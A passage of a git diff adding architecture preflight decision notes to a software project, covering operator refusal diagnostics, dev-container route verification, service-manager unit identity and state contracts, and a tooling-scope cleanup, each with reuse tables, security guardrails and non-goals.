Refusal reaches the operator without leaking values + +Use `Diagnostic`/`DiagnosticModel`, `ApplyResult`, operation receipts and existing +API/CLI rendering. A known unsatisfied closed-scope requirement needs a stable +error code, its canonical requirement identity, the denying scope, and a safe +description of the effect that would be necessary (for example, "session-log +requires an sshd forced-command wrapper on host"). Multiple unmet requirements +must remain distinguishable. Missing capability and inability to determine +effects are separate reasons, not fabricated claims that a particular collector +would solve them. Return failure and no success/evidence claim. + +`prepare_backend_apply` currently catches failures into a generic preparation +diagnostic; it discards even well-shaped backend refusal diagnostics. +`value_free_backend_diagnostics` also removes backend prose for credential plans. +The solution must preserve validated, bounded refusal facts and render their +operator message at a trusted boundary, while retaining those redaction rules +for arbitrary backend text. Do not remove broad exception containment, forward +`str(exc)`, bypass credential sanitization, or add an exception hierarchy. +Schema-valid strings alone are not safe: requirement/effect references must +resolve against trusted input or the admitted proposal, with escaped, bounded +display text and no commands, environment values, source excerpts or secrets. +The HTTP operation routes convert some `ValueError`s to 409 responses using +`str(exc)`. Do not send backend refusal/validation exceptions down that path: +carry expected refusals as admitted diagnostics, and retain redacted 422/500 +handling for invalid requests and unexpected failures. + +## Cross-cutting layers and canonical incumbents + +Python modules below are relative to `implementations/python/packages/`. +These obligations apply to in-process use and HTTP alike. + +| Layer / incumbent | Required invariant | +| --- | --- | +| Source ingress: `raes.parser`, `_yaml_loader`, `_source_profile.SDLParserLimits`, `_base.SDLModel`; `raes_contracts.json_ingress` | Keep safe single-document decoding, duplicate-key/alias/depth/work/byte limits, finite JSON and closed fields. Bound aggregate selector/effect/refusal input before copying, hashing or recursive validation. | +| SDL semantics and phases: `SemanticValidator`, declaration/reference metadata, composition, `instantiate`, `phase_contracts`, `ScenarioContent` | Resolve kinds, ambiguities, namespace/replica identities and source lineage. Carry the policy through normalized/expanded/instantiated/materialized phases and ordinary parsing/inspection; never promote descriptive input into execution authority. Permission is control metadata, not a backend-selectable realization dimension. | +| Plan/configuration: `planner.core`, `prepared_node_admission`, `backend_profiles`, `BackendManifest`, `manifest_authority`, `plan_projection`, `control_plane_plan_authorization` | Admit membership, dependencies/cycles, artifacts, joint capabilities and profiles independently of addition permission. Seal policy/effects in canonical plan projections and every DTO/codec; reject missing, changed or unsupported versions/configuration, including empty-operation plans. Authenticated transport or a caller-provided digest is not plan authority. | +| Capture/lifecycle: `capture_admission`, `capture_dimensions`, `compiler.observation_demands`, `observation_demand_resolution`, `observation_admission`, `observation_execution`, `observation_results` | Preserve requirement-to-capture joins, required/prohibited conflict checks, observation strength, retention/export and compensation admission. Selection, attestation, telemetry availability and actual required evidence delivery are distinct. | +| Secret and environment shapes: `RuntimeEnvironmentVariable`, `runtime_values.enforce_observed_value_redaction`, `SshForcedCommand`, generated-artifact validation, `backend_account_credentials` | Preserve literal/`value_from` exclusivity, operator-secret restrictions, safe omissions and command kind/redaction consistency. Existence of a forbidden wrapper remains reportable without its command. Apply rules to additions and refusal data; no ambient secret lookup, secret hashes as substitutes, or snapshot commitments serialized as SDL values. | +| Backend trust boundary: `backend_input_contracts`, `backend_call_contracts`, `backend_snapshot_contracts`, `backend_entry_transitions`, `backend_effect_transitions`, `backend_materialization` | Isolate supplied values; retain exact ownership, transition accounting, original constraints, selected-completion checks and validation after sanitization. Bound typed refusals as well as success results; rejected candidates never acquire accepted-state provenance. | +| Authentication/exposure: `ControlPlaneSecurityConfig`, `control_plane_api._auth`, `_operation_routes` request guards, participant audience/control bindings | Keep verified identity, target-bound roles, bounded requests/queues and authenticated plan admission. No new public endpoint, auth toggle or environment-based bypass. In-world visibility does not authorize participant access to policy, full inventory or operator refusals. | +| Diagnostics/audit: `DiagnosticModel`, `portable_diagnostic_payload`, `backend_result_diagnostics`, control-plane receipt/audit and HTTP exception handlers | Preserve the 512-character message and bounded identity/count contracts, stable codes and pointer conversion. Expected scope refusal remains an operation failure; unexpected exceptions use the redacted envelope. Audit decisions/correlation, never raw backend errors, capture bodies, tokens or commands. | +| Host/process: reference `drivers.oci` injected runner, libvirt `guest_transport` | Admission launches no diagnostic guest scan or installation. Execution keeps fixed argv, bounded timeouts/output and existing credential channels. No shell interpolation, tokens/secret-bearing commands in process argv, or host paths in portable effect identities. | +| Durability: `ControlPlaneStore`, `LocalControlPlaneStore.commit_terminal_operation`, snapshot codecs, `RunMaterializationArchive` | Persist refusal through the existing operation/audit transaction without advancing accepted world state. Successful attestation uses protected immutable bytes before accepted references, checksums and run binding; keep containment/symlink defenses and runtime-owned filenames. No backend URI auto-fetch, parallel refusal database, or false archive/reproducibility success. | + +Transport budgets differ: HTTP defaults to 1,000,000 bytes, materialization to +1 MiB, and SDL source to 8 MiB. A valid standalone SDL file plus proposal/plan +envelope may exceed transport capacity. Reuse bounded carriers/artifact handling; +do not remove a limit or copy the full scenario into each refusal/effect record. + +## Extensibility and repository boundaries + +The extension seam is a versioned, bounded addition policy over canonical scope +identities plus the shared materialization coverage profile. Resolve it with +explicit limits and existing concern/collection profiles. Backend adapters map +their configured mechanisms to that common vocabulary and requirement identity; +the resolver does not enumerate today's collectors or backend names. New concern +families, capture mechanisms and mixed producers extend those owners rather than +requiring a new policy engine. No unrestricted expression language is needed. + +Public syntax must stay aligned with `specs/sdl/sections.md`, `references.md`, +language metadata, phase catalogs, concept-authority artifacts and generated +schema exports. Published schemas under `contracts/schemas/` are authoritative; +reuse the publication manifest/per-entry change ledgers and `schema_bundle()` +parity, fixtures, and the existing 500 KB publication budget. A changed default +or incompatible wire shape needs the existing schema evolution/versioning +process; an optional field silently ignored by older consumers is insufficient. +Preserve dependency direction: shared carriers in `raes_contracts`, SDL meaning +in `raes`, lowering in `raes_processor`, execution in `raes_runtime`, native +mechanisms in backend packages. SDL must not import processor/runtime code. + +Workflow owners remain `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, +`tools/nox_support`, repo policy, schema/publication, concept-authority and +generated-artifact checks. The supplied issue explicitly binds SEM-225; set +`RAES_REQUIREMENT_UID=SEM-225` when the branch lacks the UID. Existing #1241 +traceability proves neither #1242 permission support nor backend conformance. +Report unavailable governance honestly; a skipped check is not a pass and does +not authorize policy changes or invented traceability. Release tooling owns +versions/changelog. + +## Acceptance guardrails and non-goals + +Extend the incumbent #1204 preparation/result-admission, #1112 required-capture, +#1212 observation-policy, #1241 materialization/origin/archive and control-plane +tests. Meaningful behavioral evidence must include: + +- Open omitted/default and explicit closed scopes; open permitted additions; a closed + scenario successfully realized without additions; ordinary delegated value + selection; closed management/participant intersections and unknown coverage. +- Processor-inserted effects retaining author scope, effective open exceptions + under a closed default, conflicting equal-specificity rules, and independent + apparatus/comparability classifications with their existing run evidence joins. +- Listener/wrapper/rule changes within authored nodes; membership additions; + namespace imports, keyed reordering, replicas, multiple requirements sharing + apparatus, and original realization constraints remaining binding when open. +- Backend/collector/guest/secret/artifact spies proving known refusals precede + effects across phases; no direct-manager, serialized-plan, empty-operation or + unsupported-manifest bypass. Configuration/predecessor changes invalidate + permission, and unauthorized actual effects or failed capture cannot succeed. +- Operator-visible requirement and necessary-effect reasons surviving credential + redaction, API conversion and restart; malformed/oversized/malicious refusal + carriers stay value-free; rejected admission leaves accepted world state intact. +- Honest partial-failure cleanup, immutable post-hook attestation, migration + behavior and existing required/prohibited observation boundaries. + +Non-goals: backend installation recipes in portable packs; a universal topology +solver; continuous host surveillance or proof against malicious backends; +cryptographic attestation; a new logging, persistence or workflow framework; +weakening evidence to achieve success; automatic permission expansion, teardown +or apply replay; editing external repositories; implementing this issue during +preflight. A focused design note suffices; normative changes belong to the +subsequent implementation and its existing authority/evolution gates. diff --git a/docs/decisions/issue-1277-dev-container-entry-points-preflight.md b/docs/decisions/issue-1277-dev-container-entry-points-preflight.md new file mode 100644 index 000000000..ee849c7cc --- /dev/null +++ b/docs/decisions/issue-1277-dev-container-entry-points-preflight.md @@ -0,0 +1,89 @@ +# Issue 1277: development-container entry-point preflight + +**Date:** 2026-09-18 +**Status:** Architecture preflight; implementation authority remains issue #1277 + +## Decision and scope boundary + +Issue #1277 documents observed use of the already-qualified optional connected +development container. It does not qualify another client, runtime, host, +architecture, authentication method, signing path, proof host, or container +daemon. A configured client route is not a verified route. In particular, the +existing `development-image` CI job exercises the native image lifecycle and +repository setup, but does not establish Dev Containers CLI, VS Code, +Codespaces, Docker, or Podman client behavior. + +The one claimable image profile is +`container-ubuntu-24.04-x86_64`: Linux x86_64, Ubuntu 24.04 base manifest, +non-root `raes` user, connected locked bootstrap, and `proof_support: unsupported`. +The profile, not prose, is the platform authority. Native arm64, +emulation, Codespaces, rootless Podman, and plain Docker remain unverified +unless this issue records an actual successful route with its exact host and +client/runtime versions. An observed Git behavior may be documented narrowly; +do not infer an authentication or signing support matrix from image packages. + +## Existing authority to reuse + +| Concern | Canonical incumbent | Required boundary | +| --- | --- | --- | +| Image/profile identity | `implementations/tooling/profiles/development-profiles.json`, `artifacts.lock.json`, `tools/devcontainer_image.py` | Retain the single selected container host profile and digest projection. Documentation must not restate a tag, platform alias, or package list as another authority. | +| Dockerfile and client configuration | `.devcontainer/Dockerfile`, `.devcontainer/devcontainer.json` | These are the native configuration owners. `tools/tooling_artifact_policy_container.py` and `tools/tooling_artifact_policy_devcontainer.py` are the closed shape/drift gate; use them rather than a documentation-specific configuration parser or checklist. | +| Setup and persistence | `tools/devcontainer_setup.py`, `tools/bootstrap_profile.py`, verified installers | The lifecycle command remains the sole setup entry point. Its cache is local, disposable, re-verified input state; it is neither installation evidence nor a distribution/provenance service. | +| Contributor checks | `CONTRIBUTING.md`, `docs/DEVELOPMENT_WORKFLOW.md`, `noxfile.py`, `tools/nox_support/{graph,policy_lanes,runner}.py` | Point to existing frozen Nox commands and `SessionReporter` outputs. Do not add a dev-container-specific verification graph, hook, or command wrapper. | +| CI evidence | `.github/workflows/bootstrap-qualification.yml`, `test_issue_1238_development_container.py` | Preserve CI's clean-image/setup evidence as image qualification only. Record client-route observations separately in the PR; they must name revision, host OS/architecture, client/runtime versions, commands, and result. | +| Trust and requirement governance | `specs/supply-chain/reusable-asset-trust-integrity.md`, ADR-071, `tools/requirement_context.py`, `tools/check_requirement_governance.py` | GOV-913 remains the broad trust requirement; this issue changes no reusable-asset schema or runtime trust policy. On this numeric branch, governed checks use `RAES_REQUIREMENT_UID=GOV-913`. | + +## Cross-cutting security and validation surface + +| Layer | Guardrail for this issue | +| --- | --- | +| Repository/config shapes | Documentation must describe only fields admitted by the existing bounded, duplicate-key-safe JSON loader and closed dev-container policy: reviewed Dockerfile/context, non-root users, named cache volume, fixed setup command, and restricted `remoteEnv`. Do not propose `runArgs`, `privileged`, `initializeCommand`, extra mounts, build args, host commands, or editor environment/command injection to make a route work. | +| Environment and secrets | No route may pass host tokens, SSH keys, credential-helper settings, proxy credentials, or signing material through configuration, image layers, cache names, shell tracing, logs, or argv. The documented route may rely on an already working host mechanism only as an observed limitation; it must not promise forwarding. | +| OS/process exposure | Retain the non-root user, no `sudo`, no daemon/socket, no host network, and cache-only mount boundary. Setup's existing fixed-argv, closed-stdin, frozen-lock path and error handling stay authoritative. Do not add shell wrappers or a client-specific installer. | +| Error envelope and observability | Preserve `DevcontainerSetupError`'s one-line contributor diagnosis, policy `PolicyFailure`/`failures_to_json()` output, and Nox `SessionReporter`. PR evidence must be bounded and sanitized: revision, public host/runtime versions, commands, exit/result, and observed limitation; never raw environment, daemon diagnostics, credentials, or private remote URLs. | +| Capability separation | `participant-opacity-proof` must still refuse without Bubblewrap isolation; `integration_docker` remains an optional host-capability lane unless its existing required selector is explicitly set by release policy. Neither failure may be converted to a skip, privileged container, socket mount, or claimed container support. | + +## Documentation and evidence guardrails + +The documentation change should make at least two actually exercised routes +reproducible, and label every route it did not exercise. It may remove a +support claim instead of labelling it. It must not say that a route is +supported merely because `devcontainer.json` exists, the CI smoke can emulate +its lifecycle, an image builds, a client can pull it, or an editor advertises +Dev Containers compatibility. + +**Delivered scope, recorded 2026-09-18.** The verification host carried no +editor client and no display, so the VS Code open action could not be +exercised. The delivered evidence covers the Dev Containers CLI route and the +plain Docker route. It labels VS Code, Codespaces, Apple Silicon emulation and +rootless Podman unverified. Issue #1277 admits this narrowing: it asks for a +route to be verified only when it is intentionally supported and accessible, +and it states that testing all of them is not a completion condition. A run +that gains an editor client records the VS Code observation as a bounded +addition, exactly as the extension seam below describes. + +The documented commands must remain references to the existing entry points: +`devcontainer up`/`exec` for the CLI route, VS Code's Dev Containers open +action for the VS Code route, `tools.devcontainer_setup` only for its existing +lifecycle, and frozen `nox` commands for checks. The stable extension seam is +the native client/runtime choice at the documentation boundary; adding a +verified client later adds a bounded observation and a short route, not client +settings, policy branches, profiles, cache formats, or runtime abstractions. + +## Gotchas, anti-patterns, and non-goals + +- Do not conflate an image/platform qualification with end-to-end editor or + CLI qualification; do not conflate a CLI being installed with a reachable + daemon, nor a package's presence with credential forwarding or signing. +- Do not claim repeat lifecycle timing/semantics without observing the client: + the configured `updateContentCommand` is client-managed, while manual setup + is explicitly available and idempotent. +- Do not duplicate profile, lock, Dockerfile, dev-container schema, validation, + exception, logging, workflow, or test logic in documentation tooling. +- Do not broaden #1277 into #1313's policy simplification, an image redesign, + arm64 qualification, Codespaces prebuilds, proof support, Docker/Podman + daemon support, or an authentication/signing test matrix. +- Do not alter GOV-913's published reusable-asset trust schema, ADR-071, SDL + contracts, runtime module registry, release admission, or protected-branch + workflow. This preflight performs none of those changes and makes no support + claim for an unobserved environment. diff --git a/docs/decisions/issue-1297-service-manager-contract-preflight.md b/docs/decisions/issue-1297-service-manager-contract-preflight.md new file mode 100644 index 000000000..beb2ec21f --- /dev/null +++ b/docs/decisions/issue-1297-service-manager-contract-preflight.md @@ -0,0 +1,237 @@ +# Issue 1297: Service-manager native identity and state preflight + +Date: 2026-09-17. Inspected revision: `08c363f699a8`, branch +`1297-separate-service-manager-contract`. + +This note is architecture guidance for issue #1297. The supplied issue is the +authoritative contract; there is no Ground Control requirement. This note does +not implement the issue, change a published schema, amend an accepted ADR, or +claim live service-manager support. + +## Baseline findings + +The defect crosses more than `_validate_unit_name()`: + +- `ServiceManagerUnit(unit_id="web", manager_kind="x-openrc:openrc", + unit_name="nginx")` is rejected by the Python model because the native name + lacks a dot, while the generated authoring schema accepts the same record. + The current schema therefore does not express the model's unconditional + systemd suffix rule. +- A private-manager record that uses a fabricated-looking suffixed name parses, + but a full model dump adds `unit_type=other` and systemd-shaped + load/active/enabled/result defaults. Identity extension has not made the + surrounding state contract portable. +- An omitted manager currently reads as `systemd` in the model. Nevertheless, + under an authored open realization parent the compiler correctly uses + instantiation explicitness provenance and lowers that omitted leaf to a + delegated value. The default is not an authored constraint. This distinction + is already carried by `model_fields_set`, `InstantiationProvenance`, and the + recursive realization contract and must not be replaced with truthiness or a + serialized-default test. +- `runtime-service-manager-units` is registered as a typed realization concern, + but its collection identity is not explicitly declared as `unit_id`. + Projection sorting currently finds `unit_id` through a generic `*_id` + heuristic. Native-name portability and keyed comparison must not depend on + that incidental fallback. +- The concern profile excludes `sub_state`, `result`, `exit_code`, + `status_text`, and `main_pid` from desired-state comparison. These remain + outcome/observation facts; their exclusion must not be interpreted as + service presence, a live process, or successful execution. + +## Architecture decisions + +### Keep one portable row and one manager-specific semantic seam + +`ServiceManagerUnit` remains the node-scoped owner. Its portable core is: + +- required stable `unit_id`, used for author references and collection + matching; +- presence-sensitive governed `manager_kind`; +- optional exact native `unit_name`, preserved byte-for-byte as supplied; +- the existing optional same-node `service` reference, native unit-file path, + description, and their current reference/path rules. + +`unit_name` is native data, not `unit_id`, a vocabulary term, or a portable +systemd name. When supplied it remains concrete, nonempty, and free of +whitespace and variable placeholders, but the portable validator must not +require a dot, normalize the name, infer its type, or append `.service`. +Omission represents missing knowledge; it does not authorize deriving a name +from `unit_id`, a service ref, a package, a process, or a path. + +The existing unit-kind, load, active, enablement, result and `ExecStart` +meanings are a typed **systemd state profile**, not universal service-manager +state. Existing flat field spellings are the compatibility projection of that +one profile and remain valid for explicit systemd records. They must not become +a second semantic authority beside a new nested copy. A non-systemd record may +carry portable identity/name/reference facts without these fields. Rich state +for another manager uses the existing exact, pinned domain-profile definition, +binding, local resolution, and operation-support mechanisms; it does not add an +OpenRC/launchd/Windows/supervisord enum catalog or a raw configuration bag to +core SDL. + +Selecting `manager_kind: systemd` selects the standard systemd contract and its +naming/state validators. An exact private `x-owner:value` manager is inert +identity, not proof that its state schema, comparison, capture, or execution is +supported. `unknown` and `other` remain knowledge states, not manager selection +or delegation. A whole-field variable may defer manager selection during +authoring, but instantiated concrete validation must apply the selected +contract before compilation or comparison. + +### Preserve legacy omission without inventing new knowledge + +Compatibility and partiality use the existing presence/closure owners: + +- An explicitly supplied `systemd` manager keeps current names, state values, + redaction behavior, and rejection of malformed systemd names. +- A legacy omitted-manager record retains its historical systemd interpretation + only through the incumbent omission/default compatibility semantics. Do not + infer legacy status from a dot, a state value, installed package version, or + trial-and-error validation. +- Under an inherited open scope, omitted `manager_kind`, `unit_name`, and state + leaves remain omitted/delegated according to recursive realization metadata. + A default-filled Pydantic object or snapshot payload is not proof that the + author selected systemd. +- Explicit `unknown` is unrecovered knowledge and must compile as knowledge, + not delegation. Omission is delegation only where the enclosing realization + authority actually opens that scope. +- Exact supplied siblings remain binding under an open parent. In particular, + a supplied native name must survive unchanged even when the manager choice is + omitted. + +Model-local validation cannot decide inherited realization closure. Generic +native-name shape belongs in the model; the scope-aware semantic/compiler +boundary owns the legacy-default versus open-omission decision. Do not restore +the bug by making the base model assume systemd whenever `manager_kind` is +absent. Do not weaken explicit-systemd validation merely because an open form +also exists. + +If a persisted historical artifact needs a reader migration, use the existing +named snapshot/source profile and migration owners. Authenticate the original +artifact before conversion, preserve its original identity, and emit a distinct +derived artifact. A schema hash or the presence of `.service` is not a semantic +revision selector. + +### Keep presence, process, execution, and exposure separate + +- A unit row says the inventory contains a service-manager unit requirement or + description at the selected semantic depth. It does not prove a unit file is + present, a process exists, a listener is exposed, or a command succeeded. +- `main_pid` is observed process linkage, not process inventory and not proof + of active state. `runtime.processes` remains the process owner. +- `result=success` is a manager outcome under the systemd profile. It is not + transport readiness, condition truth, or experiment success. Conversely, + failed, inactive, disabled, and active/exited units may have no process. +- `service` remains a same-node `Node.services[]` transport reference. It grants + no lifecycle authority and does not mutate the service. +- `unit_file_path` remains inert path evidence subject to the current optional + filesystem-inventory cross-check. It is not a file read, executable path, or + service-manager selection. +- Configuration/presence/enablement fields and outcome-only + `sub_state`/`result`/`exit_code`/`status_text`/`main_pid` keep their existing + realization-comparison disposition unless a separately governed observation + change is made. Dropping an outcome field from equality must never synthesize + a successful or unchanged result. + +### Make round-trip and comparison identity explicit + +The service-manager concern must declare `unit_id` as its collection identity +through the existing `RuntimeConcernProfile`/recursive-constraint seam. Native +`unit_name` remains compared data when present, never the collection key. +Reordering must not change meaning; duplicate nonempty `unit_id` and native-name +records remain rejected by `RuntimeConfiguration`. + +Authoring, instantiated, materialized, and canonical instantiated-snapshot +forms must preserve omission provenance and exact supplied native names. +Typed observation/snapshot projection must not populate non-systemd records +with systemd defaults. Apply presence-sensitive projection at the existing +typed concern projector/sanitizer boundary rather than changing global +`model_dump()` behavior or adding another comparison engine. + +## Canonical incumbents and required reuse + +| Concern | Canonical owner and guardrail | +| --- | --- | +| Source and local shape | `raes/_yaml_loader.py`, `_source_validation.py`, `_mapping_key_analyzer.py`, `_source_profile.py::SDLParserLimits`, `parser.py`, and `_base.py::SDLModel`. Preserve safe bounded YAML, canonical keys, variables, and `extra="forbid"`; do not add a service-manager parser. | +| Portable model | `raes/runtime_service_units.py`, shared `runtime_values.py` and `_base.py` helpers. Keep `require_symbol`, governed vocabulary parsing, integer/path bounds, and `ServiceUnitExecStart` redaction. Manager-specific validation is selected, not unconditional. | +| Identity vocabulary | `raes/runtime_vocabulary.py`, `raes_contracts/controlled_vocabularies.py`, `runtime_vocabulary_scopes.py`, and `contracts/concept-authority/controlled-vocabularies-v1.json`. Keep `ServiceManagerKind` as one governed identity family; private identity grants no support. | +| Profiles | `raes_contracts/domain_profiles.py`, `_domain_profile_resolution.py`, `_domain_profile_validation.py`, `_domain_profile_admission.py`, and `realization_profiles.py`. Reuse exact coordinate/digest, local-only bounded schema resolution, binding owner/use, and operation-specific support for non-core manager state. | +| Duplicates and references | `RuntimeConfiguration.validate_unique_runtime_entries()` and `SemanticValidator._verify_runtime_service_manager_units()`. Keep duplicate IDs/names, same-node service resolution, variable deferral, and filesystem path cross-checks in their current owners. | +| Partiality and instantiation | `raes/explicitness.py`, `realization_designation.py`, `instantiate.py`, `phase_contracts.py`, `raes_contracts.realization_structure`, and processor recursive-constraint compilation. Preserve absent/default/exact/unknown/delegated distinctions and concrete post-substitution revalidation. | +| Compilation and comparison | `realization_runtime_concern_profiles.py`, `realization_typed_runtime_projection.py`, `realization_specialized_projection.py`, `realization_concerns.py`, `realization_requirements.py`, and `realization_snapshot_sanitization.py`. Keep one concern descriptor, explicit `unit_id` identity, safe typed observation projection, and existing outcome exclusions. | +| Schemas and canonical snapshots | `raes_contracts/contracts/bundle.py::schema_bundle()`, `raes/canonical.py`, `tools/generate_contract_schemas.py`, `tools/check_generated_schemas.py`, and the schema-publication entries. Python and all published SDL lifecycle schemas must move together; generated files are not an independent authority. | +| Errors and diagnostics | `raes/_errors.py`, `_model_diagnostics.py`, `raes_contracts/diagnostics.py::Diagnostic`, planner/runtime diagnostics, and redacted API handlers. Reuse bounded structured errors; do not add a service-manager exception or logger hierarchy. | +| Persistence | `RuntimeSnapshot`, `RuntimeSnapshotEnvelopeModel`, `ControlPlaneStore`, `LocalControlPlaneStore`, store codecs, and canonical instantiated snapshots. Validate and sanitize before persistence; no service-manager table, cache, or sidecar. | +| Workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and `tools/verify_all.py`. Use the requirement-free issue lane; do not invent a UID, version bump, or changelog entry. | + +Service-manager units intentionally remain outside the ref-targetable +`RUNTIME_SERVICE_FAMILIES` registry. `unit_id` becoming explicit comparison +identity does not by itself make units general relationship targets. Promotion +would require the registry, module aliasing, qualified-reference semantics, +composition, docs, and tests to change together and is outside this issue. + +## Cross-cutting security and runtime gates + +| Layer | Required treatment | +| --- | --- | +| YAML/JSON ingress and config shape | Apply parser byte/scalar/depth/node/alias limits, key diagnostics, closed Pydantic models, and equivalent direct-model/schema validation. Profile values, if used, remain closed bindings resolved from an explicit bounded local context; no remote `$ref`, ambient filesystem search, environment lookup, or executable callback. | +| Model and semantic validation | Generic names reject empty/whitespace/variable values without imposing a manager grammar. Explicit systemd applies its suffix/state/exit-code rules. `RuntimeConfiguration` keeps duplicates; `SemanticValidator` keeps same-node refs and resolves scope-sensitive legacy omission. Instantiation reruns concrete validation. Do not duplicate these checks in a backend. | +| Secret and environment surface | Retain `ServiceUnitExecStart`'s `command_kind` plus `command_redacted` invariant and the shared JSON-Schema redaction helpers. Secret-bearing argv stays omitted. This issue adds no environment-variable, secret-reference, credential-store, or generated-artifact binding. Native names, paths and bounded status text must not become covert raw configuration or journal-output carriers. | +| Auth and admission | Description parsing adds no authority. Existing `ControlPlaneSecurityConfig`, `_ControlPlaneApiAuth`, request-size/idempotency/target checks, planner authorization, and backend profile support remain authoritative if the concern reaches an operation. A manager identity, profile binding, unit path, PID, or service ref grants no permission to contact or control a daemon. | +| Host/OS exposure | Parse, schema, instantiation, compilation, snapshot, and comparison perform no `systemctl`, OpenRC command, DBus/socket access, process spawn, file read, or network retrieval. Any later live adapter must use its existing admitted backend owner, fixed argv/no shell, bounded time/output, restricted environment, and secret-safe channel. No token or raw command/profile value enters argv, logs, audit, or native object names. | +| Backend return and comparison | Revalidate returned values through the same typed concern/profile contract, sanitize before comparison/persistence, and refuse unsupported required semantics before mutation. Inventory equality is not execution success or independent observation. Preserve the trusted predecessor on rejected returned state through existing result-admission behavior. | +| Error envelopes and logging | Parser diagnostics remain source-anchored and bounded; runtime diagnostics use stable codes and value-free messages. Redacted 422/500 handlers remain unchanged. Because operation routes can expose `str(ValueError)` in 409 responses, new profile/admission failures must not interpolate native output, command text, profile payloads, paths containing credentials, or Pydantic inputs. No new logging sink. | +| Persistence/replay | Store only admitted, sanitized existing DTOs through current atomic/CAS codecs. Durable reload must retain manager/profile identity, exact native name, omission provenance where the carrier owns it, and redaction markers. Replay performs no profile discovery or service-manager access. | + +## Gotchas and acceptance evidence + +- Do not fix only `_validate_unit_name()`. That would leave default-filled + state, schema/model disagreement, unkeyed comparison, and legacy/open + semantics unresolved. +- Do not make every name with a dot systemd, and do not strip or append suffixes. + A native name is not a discriminator. +- Do not turn `unknown`, `other`, omission, a private token, or a profile-shaped + payload into the same state. Unknown is knowledge, omission follows scope, + private identity is exact, and profile support is separately admitted. +- Do not place manager-specific state in `dict[str, Any]`, metadata, snapshot + metadata, or `status_text`. Do not create one core enum/model branch per + service manager. +- Do not globally switch model serialization to `exclude_unset`; canonical and + instantiated artifacts deliberately carry defaults plus explicitness + provenance. Make service-manager projection presence-sensitive at its owner. +- Do not key units by native name or list position. `unit_id` is portable and + stable; name changes are compared facts. +- Do not add service-manager discovery/execution or claim a model/schema + round-trip proves a live manager, process, listener, or successful command. + +Implementation evidence must cover one explicit systemd record, one +`x-openrc:openrc` record named exactly `nginx`, one other private-manager name, +one open-parent record with omitted manager/name choices, and one legacy +omitted-manager record. Exercise direct model and generated-schema validation, +YAML parsing, semantic validation, instantiation, recursive compilation, +canonical snapshot reload, typed concern projection, snapshot sanitization, +and declared/observed comparison. Preserve negative coverage for malformed +explicit-systemd names, duplicate IDs/names, unresolved/cross-node service +refs, inconsistent result/exit code, unsafe command redaction, altered returned +profile identity, and unsupported manager-specific semantics. Tests must state +that they exercise contracts only, not live service-manager execution. + +## Documentation, migration, and non-goals + +The implementation must reconcile ADR-035's “initially systemd” text and its +claim that manager identity alone is the extension seam. Because ADR-035 is +accepted, follow ADR-059: add an amendment row and matching `adr-index.yaml` +entry/pin update, or supersede it; never silently edit it. Update the vocabulary +policy wording and `specs/sdl/runtime-inventory.md` if their claims change. +Schema changes require model/generator parity, the hand-governed authoring, +instantiated, materialized, and instantiated-snapshot schemas, publication +entry hashes/summaries, and migration/fixture evidence. Do not hand-edit a +generated schema without the owning model change. + +Non-goals are live OpenRC/systemd/launchd/Windows/supervisord discovery or +control; provisioning, restart or readiness policy; a universal normalized +lifecycle ontology; process/listener/file inference; new evidence collection, +retention or export; registering units as general runtime-family refs; adding a +backend, API, store, cache, logger, exception hierarchy, secret resolver, or +configuration bag; changing release versions or `CHANGELOG.md`; and completing +#1211's integrated acceptance. The boundary here is portable unit identity plus +an honest, explicitly selected manager-specific state contract. diff --git a/docs/decisions/issue-1313-tooling-scope-preflight.md b/docs/decisions/issue-1313-tooling-scope-preflight.md new file mode 100644 index 000000000..e5df3106d --- /dev/null +++ b/docs/decisions/issue-1313-tooling-scope-preflight.md @@ -0,0 +1,207 @@ +# Issue #1313: Developer and release workflow scope preflight + +Date: 2026-09-17 + +Contract: issue #1313; GOV-913. This is architecture guidance, +not an implementation plan or evidence that the cleanup has shipped. + +## Scope and authority + +Design for connected local development and GitHub-hosted CI, with the one +accountable maintainer in `MAINTAINERS.md`. Security, Tooling and Release labels +do not establish independent human reviewers. In particular, +`implementations/tooling/action_policy_sources.py` currently treats disjoint +owner/reviewer role sets as a guarantee; that is not a valid independence check. +Machine permission separation remains necessary regardless of maintainer count. + +GOV-913's normative authority remains +`specs/supply-chain/reusable-asset-trust-integrity.md`, ADR-071 and +`contracts/schemas/asset-trust/reusable-asset-trust-policy-v1.json`. Identity, +payload integrity and signer authenticity remain distinct. Simplifying tooling +ownership does not amend runtime signer thresholds, family coverage or vocabulary +source requirements. The requirement's broad traceability is not a mandate to +refactor every linked subsystem; issue #1313 bounds this change. + +The issue's scope correction governs this work. Earlier preflights for #1216–1223, +#839, #1238 and `package-artifacts/issue-1226-preflight.md` describe the former +design and must not silently reintroduce cancelled requirements. Implementation +must explicitly reconcile ADR-106/107 and the package-artifact README, +architecture, decision matrix, inventory, operations/acceptance matrix and +migration table/diagram. Preserve historical decisions and measured results as +history; identify which requirements no longer apply, rather than deleting +history or relabelling old evidence as proof of new behavior. + +Accepted ADR changes must follow ADR-059: an in-band amendment and matching +`adr-index.yaml` pin/amendment entry, or explicit supersession with index/status +updates. `tools/check_adr_immutability.py` owns this check. This note does not +itself amend the accepted ADRs or complete the issue's documentation criteria. + +#1224, #1225 and #1228 are cancelled. There is no artifact-distribution, +promotion/revocation service, disconnected-development bundle, mandatory deputy, +independent-copy backup, service-load, retention/GC or recovery-drill program to +replace. #1227 owns release-byte verification and partial-publication recovery; +#684 owns actual PyPI/GitHub publication acceptance; #1277 owns verified, +accurately documented dev-container entry points. Reconcile native GitHub +dependency edges and milestone 69's description as well as repository prose; +editing a Mermaid graph does not update GitHub metadata. Coordinate shared files +without making #1313 a blanket blocker for those issues. + +## Boundaries and canonical incumbents + +| Concern | Reuse and intended boundary | +| --- | --- | +| Generic tool identity | `implementations/tooling/artifacts.lock.json`, `tools/tool_versions.py`, and existing selectors/installers. Keep one reviewed owner for each version/hash; remove redundant authorities or make retained projections derive/check against that owner. Never acquire expected checksums from the same live download as the bytes. | +| Python environments | Project and tooling `pyproject.toml`/`uv.lock` pairs have distinct ownership. `tools/python_closure.py`, `python_closure_profiles.py`, and `generate_python_closures*.py` already implement build/smoke selection and derived constraints. Keep frozen project/tool resolution, constrained build backends and installed wheel/sdist smokes; drop unused contexts and projections, not their integrity guarantees. | +| Selection versus repository checks | `select_tooling_artifact`, `select_tooling_host_profile`, and `load_python_closure_profile` currently invoke `evaluate_tooling_artifact_policy`. Selection must validate only its owning document and necessary selected 